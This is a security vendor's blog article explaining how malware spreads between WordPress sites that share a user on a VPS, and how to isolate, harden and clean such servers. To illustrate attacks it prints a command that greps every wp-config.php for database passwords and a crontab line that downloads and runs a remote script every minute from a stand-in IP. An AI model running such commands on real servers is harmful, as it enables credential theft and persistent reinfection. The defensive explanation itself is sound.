VPS Security: Why One Hacked Site Infects the Rest

One hacked site infects the rest of a VPS because, on most servers, every site runs as the same Linux user with the same file permissions. Malware running in one site can therefore read, write and execute files in all of them, collect every database password from their configuration files, and plant backdoors across the whole server within minutes.

This is the single most common reason we see agencies and businesses stuck in a cycle of re-infection. They clean the site that showed symptoms, perhaps the one Google flagged or a customer complained about, and a few days later it is infected again. The malware never left; it was sitting in a forgotten staging site, an old campaign microsite or a neighbouring client's install, and it simply copied itself back.

A VPS gives you more control than shared hosting, but many are set up for convenience rather than separation. Control panels, one-click installers and quick manual set-ups often place every site under www-data or a single account user. That is fine until one site is compromised. Then it becomes a shared problem.

Shared database logins make it worse. We often find several sites using the same MySQL user, or even the root database account, in their wp-config.php files. An attacker who reads one configuration file can then modify every database on the server: adding administrator accounts, injecting scripts into posts and changing site URLs to redirect visitors. No file on the other sites needs to be touched for them to be compromised.

Attackers move between sites on a server by using the access one webshell gives them: they list every web root, read each wp-config.php for database credentials, copy shells into other sites' folders, inject code into shared files and create scheduled tasks. If any site runs with elevated permissions, they may reach the operating system itself.

This is what that looks like from inside a compromised site where every site shares a user:

# Running as the shared web user from inside one compromised site
whoami
www-data
# Every other site is writable by the same user
ls -ld /var/www/*/
drwxr-xr-x www-data www-data /var/www/acme-shop.co.uk/
drwxr-xr-x www-data www-data /var/www/example.co.uk/
drwxr-xr-x www-data www-data /var/www/staging.example.co.uk/
# Every database password is readable
grep DB_PASSWORD /var/www/*/wp-config.php

From there, the usual next steps are hidden admin users in each site's database, webshells in each uploads folder and a crontab entry that restores anything that is removed. On servers where the attacker gains root, we also see reverse shells, rogue VPN nodes such as unauthorised Tailscale clients, systemd services and replaced system binaries.

Server-level persistence is malware that lives in the operating system rather than in a website, so it survives when website files are cleaned. Common forms are cron jobs that re-download malware every minute, systemd services that start a backdoor at boot, reverse shells, rogue users and SSH keys, and fake system binaries named to look legitimate.

A typical re-download loop looks like this in a user's crontab:

* * * * * curl -fsSL http://198.51.100.23/u.sh | sh >/dev/null 2>&1
0 3 * * * /usr/local/bin/wp-backup.sh

The first line fetches and runs a script every minute, re-infecting the server faster than anyone can clean it by hand. Our guide on why malware keeps coming back covers these in more detail.

Isolate sites on a VPS by giving each one its own Linux user, its own PHP-FPM pool running as that user, its own database user with access only to its own database, and file permissions that stop other users reading its files. That way, a compromise in one site is contained to that site and cannot spread.

1. One user per site. Create a dedicated system user and make it the owner of that site's files.
2. One PHP-FPM pool per site. Run each pool as its site's user so PHP code can only touch its own files.
3. Restrictive permissions. Stop other users reading each site's home directory, and make wp-config.php readable only by its owner.
4. Separate database users. Grant each site's database user rights on one database only.
5. Remove old sites. Delete staging, test and abandoned sites, or move them to a separate server.

Panels such as CloudPanel and cPanel with suitable settings can do much of this for you. See our cPanel and CloudPanel clean-up guide for panel-specific advice.

Harden a VPS by restricting who can log in and how, closing every port you do not need, keeping the operating system and software patched, blocking PHP execution where it is not needed and watching for changes. SSH key authentication, a default-deny firewall and automatic security updates remove most of the easy routes attackers rely on.

• Use SSH keys only and disable password authentication.
• Disable direct root login over SSH; use a named user with sudo.
• Run a default-deny firewall that allows only the ports you need, typically 22, 80 and 443.
• Enable automatic security updates for the operating system.
• Block PHP execution in upload directories for every site.
• Remove unused services, users and control panel add-ons.
• Monitor cron, systemd, users and listening ports for changes.

Key SSH settings live in /etc/ssh/sshd_config:

PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3

Change the SSH port if you like, as it reduces log noise, but do not rely on it as a security control. Automated scanners find non-standard ports quickly; keys, firewalls and patching are what actually keep attackers out. Tools that ban repeated failed logins add a useful extra layer against brute-force attempts.

Test a new SSH session before closing your existing one, so a mistake does not lock you out. PatientZero's Harden playbooks apply these settings consistently and record every change in the Activity log.

Clean a VPS with several infected sites by treating the server as one incident: take a full evidence backup, scan every site and the operating system together, remove server persistence first, then clean all sites in the same window, rotate every credential and isolate sites before bringing them back. Cleaning in pieces lets the infection hop back.

This is exactly how the PatientZero platform works. It connects to the server over SSH, deploys the scan engine to /opt/patient-zero/scan-engine and runs a Forensic scan (dfir-fast) and a Malware sweep (malware-intelligence) across every site on the server. Findings are prioritised, fixed through Fix entry points and followed by Harden playbooks, with a full report at the end.

1. Snapshot. Take a full backup or provider snapshot of the server as evidence.
2. Remove persistence. Stop malicious cron jobs, services and processes first, so nothing restores the malware mid-clean.
3. Clean all sites together. Replace core, plugins and themes, and clean every database in the same window.
4. Rotate everything. SSH keys, panel, database and WordPress credentials for every site.
5. Isolate and harden. Separate users and PHP pools, then apply the hardening above before going live.

In our root compromise case study, a server re-infected every sixty seconds through a crontab loop, with a gsocket reverse shell and a rogue Tailscale node as backup routes. Only a coordinated, server-wide clean-up ended it.

Our server malware removal service covers whole VPS servers on the Server / Multi-site plan (price on application), and agencies can use our white-label agency plan from £299 a month.